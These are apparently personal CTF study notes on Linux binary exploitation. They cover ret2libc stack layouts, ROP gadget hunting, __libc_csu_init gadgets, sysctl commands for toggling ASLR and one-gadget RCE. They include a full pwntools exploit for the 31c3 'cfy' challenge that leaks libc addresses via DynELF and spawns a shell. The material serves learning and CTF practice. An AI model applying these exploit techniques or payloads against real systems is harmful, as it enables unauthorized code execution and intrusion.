Some notes.

Tools for finding gadgets

  • rp++
  • ROPgadget

Ret2libc

When the program has NX enabled, shellcode on the stack can’t execute; you can use ret2libc, or use ROP to call mprotect and open an rwx segment.

Passing arguments

  • x86 via the stack
  • x86_64 via registers

Ret2libc stack layout

Stack the arguments as completely as possible to avoid annoying issues.

The usual x86 layout is:

padding +  function + ret address + argv1 + argv2 + argv3 ....

The function can usually jump straight to .plt; the ret address is where you want to go after it finishes. If you’re just building system("/bin/sh"), the ret address can be left blank.

For example:

'A'*100 + p32(system_addr) + p32(0) + p32(binsh_addr)

x64: Use some pop reg gadgets to set up the registers.

x32

Arguments are stacked directly on the stack; use pop_ret to clear the used arguments.

read @ plt
pop_pop_pop_ret
0
addr
length
system @ plt

x86_64

  • Max address 0x00007fffffffffff

DynELF

If you don’t know the target’s libc, you can use a pwntools tool called DynELF: give it a leak point and it can find function addresses for you.

This is cfy from the 31c3 CTF, which you can use for practice:

from pwn import *
import time

printf_got = 0x601020

def leak(addr):
    r.sendline('2')
    r.sendline(p64(addr) )
    s = r.recvline_contains('hex: 0x')[5:].strip()
    s = p64( int(s,16) )
    return s

r = remote('localhost',4000)

ptr_libc = u64(leak(printf_got))
d = DynELF(leak, ptr_libc)
system = d.lookup('system')

print r.recvuntil('quit')
r.sendline('7')
r.sendline('/bin/sh\x00' + 'A'*8 + p64(system) )

r.interactive()

ASLR

  • aslr on
sudo sysctl -w kernel.randomize_va_space=2
  • aslr off
sudo sysctl -w kernel.randomize_va_space=0

If ASLR is on, locally on 32-bit you can disable it with ulimit -s unlimited, or you can use puts to leak data in the .got section — the offsets between libc functions are fixed.

Commonly seen functions:

  • __libc_start_main
  • puts
  • read
  • write
  • …..

x64 general-purpose gadgets

All of these functions can be used:

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
ROPgadget --binary ./binary --depth 100

Different versions have slightly different gadgets, but they’re all usable — they live in __libc_csu_init()

If some instructions are cut in half, you can still operate on registers:

<__libc_csu_init>:
5b                       pop    rbx
5d                       pop    rbp
41 5c                    pop    r12   ->   pop rsp (5c)
41 5d                    pop    r13   ->   pop rbp (5d)
41 5e                    pop    r14   ->   pop rsi (5e)
41 5f                    pop    r15   ->   pop rdi (5f)
c3                       ret
mov    rbx,QWORD PTR [rsp+0x8]
mov    rbp,QWORD PTR [rsp+0x10]
mov    r12,QWORD PTR [rsp+0x18]
mov    r13,QWORD PTR [rsp+0x20]
mov    r14,QWORD PTR [rsp+0x28]
mov    r15,QWORD PTR [rsp+0x30]
add    rsp,0x38
ret

Using these gadgets you can control r12-r15; for the call qword ptr [r12+rbx*8], set rbp to 1 and rbx to 0 so that it keeps returning. It’s clearer if you step through this part yourself.

4c 89 ea                 mov    rdx,r13
4c 89 f6                 mov    rsi,r14
44 89 ff                 mov    edi,r15d
41 ff 14 dc              call   QWORD PTR [r12+rbx*8]

One gadgets RCE

Some specific libc versions hide a spot that directly runs execv("/bin/sh"). Look near where libc uses execv for a hidden “/bin/sh” string — sometimes it just works.